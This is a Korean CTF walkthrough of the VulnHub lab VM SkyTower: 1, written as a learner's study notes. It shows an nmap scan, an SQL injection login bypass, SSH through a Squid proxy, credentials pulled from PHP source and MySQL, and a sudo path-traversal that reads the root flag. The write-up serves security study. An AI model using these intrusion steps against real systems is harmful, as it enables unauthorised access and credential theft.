vulnhub Walkthrough: SkyTower: 1

14411 단어 보안VulnHubCTF
초보자가 가득한 시큐리티 엔지니어를 목표로 하기 위해 공부한 비망록이 되기 때문에 잘못되어 있는 일이 있을지도 모릅니다.
vulnhub의 의도적으로 취약성이 만들어진 SkyTower:1Walkthrough입니다.

vulnhub 정보





이름
SkyTower: 1


Date release
26 Jun 2014

작성자
Telspace

시리즈
SkyTower


PortScan:



이번은 ssh , http , http-proxy 가 기동하고 있는 것을 알았습니다.


PORT
서비스
VERSION


22
ssh

80
http
Apache httpd 2.2.22 ((데비안))

3128
http-proxy
Squid http proxy 3.1.20


root@kali:~# nmap -sS -sV 192.168.56.69
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-07 20:18 JST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.56.69
Host is up (0.00060s latency).
Not shown: 997 closed ports
PORT     STATE    SERVICE    VERSION
22/tcp   filtered ssh
80/tcp   open     http       Apache httpd 2.2.22 ((Debian))
3128/tcp open     http-proxy Squid http proxy 3.1.20
MAC Address: 08:00:27:EC:F8:62 (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.00 seconds

Exploitation:



웹 서버에 액세스하면 로그인 인증이있었습니다.
인증 회피의 sql 인젝션을 시도했는데, sql 인젝션은 있었습니다만 아무래도 조금 밸리데이션이 되어 있는 것 같습니다.
입력 ’or 1=1#

There was an error running the query [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '11#' and password=''' at line 1]
or 의 부분이 삭제되었으므로 || 로 한 곳에 로그인할 수 있었습니다.SSH 계정과 비밀번호가 나열된 것 같습니다.


정상적으로 ssh는 연결할 수 없으므로 3128ポートhttp-proxy이므로 proxychins를 설정합니다.
/etc/proxychains.conf

[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
#socks4  127.0.0.1 9050
http 192.168.56.69 3128

정상적으로 연결해도 즉시 닫힙니다. 여기서 /bin/bash를 지정하여 연결해 보겠습니다.
root@kali:~# proxychains ssh [email protected]
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-192.168.56.69:3128-<><>-192.168.56.69:22-<><>-OK
[email protected] password: 
Linux SkyTower 3.2.0-4-amd64 #1 SMP Debian 3.2.54-2 x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Jun 20 07:41:08 2014

Funds have been withdrawn
Connection to 192.168.56.69 closed.

연결할 수 있었습니다..bashrcssh 접속을 할 때 나쁜 짓을 하고 있으므로 삭제합니다.

root@kali:~# proxychains ssh [email protected] /bin/bash
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-192.168.56.69:3128-<><>-192.168.56.69:22-<><>-OK
[email protected] password: 
id
uid=1000(john) gid=1000(john) groups=1000(john)

ls -la
total 52
drwx------ 2 john john  4096 May  7 16:52 .
drwxr-xr-x 5 root root  4096 Jun 20  2014 ..
-rw------- 1 john john     7 Jun 20  2014 .bash_history
-rw-r--r-- 1 john john   220 Jun 20  2014 .bash_logout
-rw-r--r-- 1 john john  3437 Jun 20  2014 .bashrc
rm .bashrc

삭제하면 성공적으로 연결됩니다.

root@kali:~# proxychains ssh [email protected]
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-192.168.56.69:3128-<><>-192.168.56.69:22-<><>-OK
[email protected] password: 
Linux SkyTower 3.2.0-4-amd64 #1 SMP Debian 3.2.54-2 x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu May  7 16:43:44 2020 from 192.168.56.69
john@SkyTower:~$ 

Privilege Escalation:


mysql 가 기동하고 있는 것 같습니다.

john@SkyTower:~$ ps -ax
 2296 ?        Sl     0:01 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=mysql --pid-file=/var/run/mysqld/mysqld.

john@SkyTower:~$ netstat -antp
(No info could be read for "-p": geteuid()=1000 but you should be root.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -               
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -               
tcp        0      0 192.168.56.69:22        192.168.56.69:44594     ESTABLISHED -               
tcp6       0      0 :::80                   :::*                    LISTEN      -               
tcp6       0      0 :::22                   :::*                    LISTEN      -               
tcp6       0      0 :::3128                 :::*                    LISTEN      -               
tcp6       0      0 192.168.56.69:44594     192.168.56.69:22        ESTABLISHED -               
tcp6       0      0 192.168.56.69:3128      192.168.56.65:44588     ESTABLISHED -    

방금 전의 웹 서버에서 움직이고 있는 소스 코드에 mysql 자격 증명이 있는지 조사해 보겠습니다.mysql 자격 증명으로 생각되는 것이있었습니다.
john@SkyTower:/var/www$ ls
background2.jpg  background.jpg  index.html  login.php
john@SkyTower:/var/www$ cat login.php 
<?php

$db = new mysqli('localhost', 'root', 'root', 'SkyTech');

if($db->connect_errno > 0){
    die('Unable to connect to database [' . $db->connect_error . ']');

}

방금 자격 증명으로 mysql에 로그인할 수 있었습니다.

john@SkyTower:/var/www$ mysql -u root -proot
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 48
Server version: 5.5.35-0+wheezy1 (Debian)

Copyright (c) 2000, 2013, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> 

DB를 조사한 결과, 로그인 테이블에 사용자 정보와 일반 텍스트 암호가 있었습니다.

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| SkyTech            |
| mysql              |
| performance_schema |
+--------------------+
4 rows in set (0.01 sec)

mysql> use SkyTech;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables
    -> ;
+-------------------+
| Tables_in_SkyTech |
+-------------------+
| login             |
+-------------------+
1 row in set (0.00 sec)

mysql> select * from login
    -> ;
+----+---------------------+--------------+
| id | email               | password     |
+----+---------------------+--------------+
|  1 | [email protected]    | hereisjohn   |
|  2 | [email protected]    | ihatethisjob |
|  3 | [email protected] | senseable    |
+----+---------------------+--------------+
3 rows in set (0.00 sec)

mysql> 
sshsara 에 접속했을 때, cat 명령과 /accounts/ 가 패스워드 입력이 필요하지 않은 것 같습니다./accounts/를 반환하고 /root를 확인한 결과 flag가있었습니다.flag 안에 root 의 패스워드가 있었습니다.

root@kali:~# proxychains ssh [email protected] /bin/bash
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-192.168.56.69:3128-<><>-192.168.56.69:22-<><>-OK
[email protected] password: 
id
uid=1001(sara) gid=1001(sara) groups=1001(sara)
sudo -l
Matching Defaults entries for sara on this host:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User sara may run the following commands on this host:
    (root) NOPASSWD: /bin/cat /accounts/*, (root) /bin/ls /accounts/*

sara@SkyTower:~$ sudo ls /accounts/../../../root/
flag.txt
sara@SkyTower:~$ sudo cat /accounts/../../../root/flag.txt
Congratz, have a cold one to celebrate!
root password is theskytower

면책 조항



본 기사는 정보 보안에 있어서의 공격의 이해, 방위의 스킬 향상을 목적으로 한 보안에 관한 내용이 있습니다. 본 기사의 내용을 사용하여 발생한 어떠한 손해나 손실에 대해서, 본 기사 작성자는 일절의 책임을 지지 않습니다.
본 기사의 내용을 실제로 사용하여 제3자의 개인이나 조직 등을 공격한 경우는 법률에 의해 처벌될 가능성이 있으므로 반드시 자신이 소유하고 있는 환경만을 대상으로 하여 타인이나 조직 가 소유하고 있는 환경은 결코 대상으로 하지 않도록 부탁합니다.

좋은 웹페이지 즐겨찾기